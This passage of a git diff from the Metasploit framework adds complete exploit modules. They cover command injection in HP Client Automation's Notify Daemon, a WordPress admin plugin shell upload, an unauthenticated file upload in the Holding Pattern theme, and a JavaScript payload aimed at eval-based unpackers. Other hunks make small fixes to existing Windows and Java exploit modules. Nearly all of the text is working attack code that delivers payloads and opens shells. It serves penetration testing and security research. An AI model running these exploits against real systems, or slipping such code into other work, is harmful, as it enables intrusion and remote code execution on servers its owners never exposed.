dashboard_uri = normalize_uri(datastore['TARGETURI'] + '/' + 'dashboard.php')
|
||||
res = send_request_cgi({'uri'=>dashboard_uri})
|
||||
!! (res && res.code == 200 && res.body.to_s =~ /<title>Zabbix .*: Dashboard<\/title>/)
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,47 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/jsobfu'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::JSObfu
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Javascript Injection for Eval-based Unpackers',
|
||||
'Description' => %q{
|
||||
This module generates a Javascript file that executes arbitrary code
|
||||
when an eval-based unpacker is run on it. Works against js-beautify's
|
||||
P_A_C_K_E_R unpacker.
|
||||
},
|
||||
'Author' => [ 'joev' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
],
|
||||
'Platform' => 'nodejs',
|
||||
'Arch' => ARCH_NODEJS,
|
||||
'Privileged' => false,
|
||||
'Targets' => [['Automatic', {}]],
|
||||
'DisclosureDate' => 'Feb 18 2015',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options([
|
||||
OptString.new('FILENAME', [true, 'The file name.', 'msf.js']),
|
||||
OptString.new('CUSTOM_JS', [false, 'Custom Javascript payload.'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
p = js_obfuscate(datastore['CUSTOM_JS'] || payload.encoded);
|
||||
print_status("Creating '#{datastore['FILENAME']}' file...")
|
||||
file_create("eval(function(p,a,c,k,e,r){}((function(){ #{p} })(),''.split('|'),0,{}))")
|
||||
end
|
||||
|
||||
end
|
|
@ -104,7 +104,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
connect(true, { 'RPORT' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
|
||||
connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
|
||||
unless is_rmi?
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
@ -136,7 +136,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_good("#{peer} - JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}")
|
||||
end
|
||||
|
||||
connect(true, { 'RPORT' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
|
||||
connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
|
||||
unless is_rmi?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server")
|
||||
end
|
||||
|
|
|
@ -0,0 +1,131 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'HP Client Automation Command Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a command injection vulnerability on HP Client Automation, distributed
|
||||
actually as Persistent Systems Client Automation. The vulnerability exists in the Notify
|
||||
Daemon (radexecd.exe), which doesn't authenticate execution requests by default.
|
||||
|
||||
This module has been tested successfully on HP Client Automation 9.00 on Windows 2003 SP2
|
||||
and CentOS 5.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Ben Turner', # Vulnerability discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-1497'],
|
||||
['ZDI', '15-038'],
|
||||
['URL', 'https://radiasupport.accelerite.com/hc/en-us/articles/203659814-Accelerite-releases-solutions-and-best-practices-to-enhance-the-security-for-RBAC-and-Remote-Notify-features']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Platform' => %w{ unix win },
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'WfsDelay' => 10
|
||||
},
|
||||
'Payload' => {'DisableNops' => true},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'HP Client Automation 9.0.0 / Linux',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 466,
|
||||
'EncoderType' => Msf::Encoder::Type::CmdUnixPerl,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'openssl telnet generic gawk'
|
||||
},
|
||||
'BadChars' => "\x27"
|
||||
}
|
||||
}
|
||||
],
|
||||
[ 'HP Client Automation 9.0.0 / Windows',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 02 2014'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(3465)
|
||||
], self.class)
|
||||
|
||||
deregister_options('CMDSTAGER::FLAVOR')
|
||||
deregister_options('CMDSTAGER::DECODER')
|
||||
end
|
||||
|
||||
def check
|
||||
connect
|
||||
sock.put("\x00") # port
|
||||
sock.put("#{rand_text_alphanumeric(4 + rand(3))}\x00") # user ID
|
||||
sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password
|
||||
sock.put("hide\x00") # command
|
||||
res = sock.get_once
|
||||
disconnect
|
||||
|
||||
if res && res.unpack('C')[0] == 0
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
case target['Platform']
|
||||
when 'win'
|
||||
print_status('Exploiting Windows target...')
|
||||
execute_cmdstager({:flavor => :vbs, :linemax => 290})
|
||||
when 'unix'
|
||||
print_status('Exploiting Linux target...')
|
||||
exploit_unix
|
||||
else
|
||||
fail_with(Failure::NoTarget, 'Invalid target')
|
||||
end
|
||||
end
|
||||
|
||||
def exploit_unix
|
||||
connect
|
||||
sock.put("\x00") # port
|
||||
sock.put("0\x00") # user ID
|
||||
sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password
|
||||
sock.put("hide hide\x09sh -c '#{payload.encoded.gsub(/\\/, "\\\\\\\\")}'\x00") # command, here commands can be injected
|
||||
disconnect
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
connect
|
||||
sock.put("\x00") # port
|
||||
sock.put("S-1-5-18\x00") # user ID
|
||||
sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password
|
||||
sock.put("hide hide\"\x09\"cmd.exe /c #{cmd}&\"\x00") # command, here commands can be injected
|
||||
res = sock.get_once
|
||||
disconnect
|
||||
unless res && res.unpack('C')[0] == 0
|
||||
fail_with(Failure::Unknown, "Something failed executing the stager...")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,91 @@
|
|||
##
|
||||
# This module requires Metasploit: http://www.metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/zip'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::HTTP::Wordpress
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'WordPress Admin Shell Upload',
|
||||
'Description' => %q{
|
||||
This module will generate a plugin, pack the payload into it
|
||||
and upload it to a server running WordPress providing valid
|
||||
admin credentials are used.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Rob Carr <rob[at]rastating.com>' # Metasploit module
|
||||
],
|
||||
'DisclosureDate' => 'Feb 21 2015',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [['WordPress', {}]],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
|
||||
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def username
|
||||
datastore['USERNAME']
|
||||
end
|
||||
|
||||
def password
|
||||
datastore['PASSWORD']
|
||||
end
|
||||
|
||||
def generate_plugin(plugin_name, payload_name)
|
||||
plugin_script = %Q{<?php
|
||||
/**
|
||||
* Plugin Name: #{plugin_name}
|
||||
* Version: #{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}
|
||||
* Author: #{Rex::Text.rand_text_alpha(10)}
|
||||
* Author URI: http://#{Rex::Text.rand_text_alpha(10)}.com
|
||||
* License: GPL2
|
||||
*/
|
||||
?>}
|
||||
|
||||
zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
|
||||
zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script)
|
||||
zip.add_file("#{plugin_name}/#{payload_name}.php", payload.encoded)
|
||||
zip
|
||||
end
|
||||
|
||||
def exploit
|
||||
fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?
|
||||
|
||||
print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...")
|
||||
cookie = wordpress_login(username, password)
|
||||
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
|
||||
print_good("#{peer} - Authenticated with WordPress")
|
||||
|
||||
print_status("#{peer} - Preparing payload...")
|
||||
plugin_name = Rex::Text.rand_text_alpha(10)
|
||||
payload_name = "#{Rex::Text.rand_text_alpha(10)}"
|
||||
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
|
||||
zip = generate_plugin(plugin_name, payload_name)
|
||||
|
||||
print_status("#{peer} - Uploading payload...")
|
||||
uploaded = wordpress_upload_plugin(plugin_name, zip.pack, cookie)
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded
|
||||
|
||||
print_status("#{peer} - Executing the payload at #{payload_uri}...")
|
||||
register_files_for_cleanup("#{payload_name}.php")
|
||||
register_files_for_cleanup("#{plugin_name}.php")
|
||||
send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,86 @@
|
|||
##
|
||||
# This module requires Metasploit: http://www.metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'socket'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::HTTP::Wordpress
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'WordPress Holding Pattern Theme Arbitrary File Upload',
|
||||
'Description' => %q{
|
||||
This module exploits a file upload vulnerability in all versions of the
|
||||
Holding Pattern theme found in the upload_file.php script which contains
|
||||
no session or file validation. It allows unauthenticated users to upload
|
||||
files of any type and subsequently execute PHP scripts in the context of
|
||||
the web server.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Alexander Borg', # Vulnerability disclosure
|
||||
'Rob Carr <rob[at]rastating.com>' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-1172'],
|
||||
['WPVDB', '7784'],
|
||||
['URL', 'http://packetstormsecurity.com/files/130282/WordPress-Holding-Pattern-0.6-Shell-Upload.html']
|
||||
],
|
||||
'DisclosureDate' => 'Feb 11 2015',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [['holding_pattern', {}]],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
end
|
||||
|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
end
|
||||
|
||||
def holding_pattern_uploads_url
|
||||
normalize_uri(wordpress_url_themes, 'holding_pattern', 'uploads/')
|
||||
end
|
||||
|
||||
def holding_pattern_uploader_url
|
||||
normalize_uri(wordpress_url_themes, 'holding_pattern', 'admin', 'upload-file.php')
|
||||
end
|
||||
|
||||
def generate_mime_message(payload, payload_name)
|
||||
data = Rex::MIME::Message.new
|
||||
target_ip = IPSocket.getaddress(rhost)
|
||||
field_name = Rex::Text.md5(target_ip)
|
||||
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{field_name}\"; filename=\"#{payload_name}\"")
|
||||
data
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - Preparing payload...")
|
||||
payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
|
||||
data = generate_mime_message(payload, payload_name)
|
||||
|
||||
print_status("#{peer} - Uploading payload...")
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => holding_pattern_uploader_url,
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => data.to_s
|
||||
)
|
||||
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200
|
||||
payload_url = normalize_uri(holding_pattern_uploads_url, payload_name)
|
||||
|
||||
print_status("#{peer} - Executing the payload at #{payload_url}")
|
||||
register_files_for_cleanup(payload_name)
|
||||
send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)
|
||||
end
|
||||
end
|
|
@ -41,7 +41,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
{
|
||||
'Space' => 1024,
|
||||
'MinNops' => 512,
|
||||
'MinNops' => 512,
|
||||
'StackAdjustment' => -3500,
|
||||
},
|
||||
'Platform' => %w{ win },
|
||||
|
|
|
@ -48,7 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
|
@ -57,10 +57,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'BadChars' => "\x00\x0d\x0a\x5c",
|
||||
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
|
|
|
@ -52,17 +52,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
|
|
|
@ -28,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
to dereference arbitrary memory which easily leverages to arbitrary code execution. In order
|
||||
to bypass DEP/ASLR a second vulnerability is used, in the public WriteableBitmap class
|
||||
from System.Windows.dll. This module has been tested successfully on IE6 - IE10, Windows XP
|
||||
SP3 / Windows 7 SP1 on both x32 and x64 architectures.
|
||||
SP3 / Windows 7 SP1.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
|
@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86, ARCH_X86_64],
|
||||
'Arch' => ARCH_X86,
|
||||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
|
@ -65,16 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows x86',
|
||||
{
|
||||
'arch' => ARCH_X86
|
||||
}
|
||||
],
|
||||
[ 'Windows x64',
|
||||
{
|
||||
'arch' => ARCH_X86_64
|
||||
}
|
||||
]
|
||||
[ 'Windows x86/x64', {} ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Mar 12 2013",
|
||||
|
@ -96,10 +87,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
my_payload = get_payload(cli, target_info)
|
||||
|
||||
# Align to 4 bytes the x86 payload
|
||||
if target_info[:arch] == ARCH_X86
|
||||
while my_payload.length % 4 != 0
|
||||
my_payload = "\x90" + my_payload
|
||||
end
|
||||
while my_payload.length % 4 != 0
|
||||
my_payload = "\x90" + my_payload
|
||||
end
|
||||
|
||||
my_payload = Rex::Text.encode_base64(my_payload)
|
||||
|
|
|
@ -109,7 +109,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
"CardSpaceSigninHelper" => rand_text_alpha(5 + rand(5)),
|
||||
"get_code" => rand_text_alpha(5 + rand(5)),
|
||||
"code" => rand_text_alpha(5 + rand(5)),
|
||||
"massage_array" => rand_text_alpha(5 + rand(5)),
|
||||
"required_claims" => rand_text_alpha(5 + rand(5)),
|
||||
"massage_array" => rand_text_alpha(5 + rand(5)),
|
||||
"massage_array_length" => rand_text_alpha(5 + rand(5)),
|
||||
|
|
|
@ -51,6 +51,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
|
@ -59,10 +60,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'BadChars' => "",
|
||||
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
|
|
|
@ -48,6 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
|
@ -55,10 +56,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'DisableNops' => true,
|
||||
'BadChars' => ""
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
|
|
|
@ -56,17 +56,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 948,
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
|
|
|
@ -40,17 +40,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Arch' => ARCH_JAVA,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SHELL' => 'cmd.exe'
|
||||
'SHELL' => 'cmd.exe',
|
||||
'SSL' => true
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'HP ProCurve Manager 4.0 SNAC Server', {} ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true,
|
||||
},
|
||||
'DisclosureDate' => 'Sep 09 2013'))
|
||||
|
||||
register_options(
|
||||
|
|
|
@ -40,17 +40,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Arch' => ARCH_JAVA,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SHELL' => 'cmd.exe'
|
||||
'SHELL' => 'cmd.exe',
|
||||
'SSL' => true
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'HP ProCurve Manager 4.0 SNAC Server', {} ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true,
|
||||
},
|
||||
'DisclosureDate' => 'Sep 09 2013'))
|
||||
|
||||
register_options(
|
||||
|
|
|
@ -68,7 +68,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
|
||||
handle = open_device('\\\\.\\tcp', 0, 'FILE_SHARE_READ', 'OPEN_EXISTING')
|
||||
return Exploit::CheckCode::Safe unless handle
|
||||
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
|
@ -103,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system")
|
||||
end
|
||||
|
||||
handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
|
||||
handle = open_device('\\\\.\\tcp', 0, 'FILE_SHARE_READ', 'OPEN_EXISTING')
|
||||
if handle.nil?
|
||||
fail_with(Failure::NoTarget, "Unable to open \\\\.\\tcp device")
|
||||
end
|
||||
|
|
|
@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
|
||||
def initialize(info={})
|
||||
super(update_info(info, {
|
||||
'Name' => 'Microsoft Windows NtApphelpCacheControl Improper Authorization Check',
|
||||
'Name' => 'MS15-001 Microsoft Windows NtApphelpCacheControl Improper Authorization Check',
|
||||
'Description' => %q{
|
||||
On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys)
|
||||
allows application compatibility data to be cached for quick reuse when new processes are
|
||||
|
@ -58,6 +58,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'MSB', 'MS15-001' ],
|
||||
[ 'CVE', '2015-0002' ],
|
||||
[ 'OSVEB', '116497' ],
|
||||
[ 'EDB', '35661' ],
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue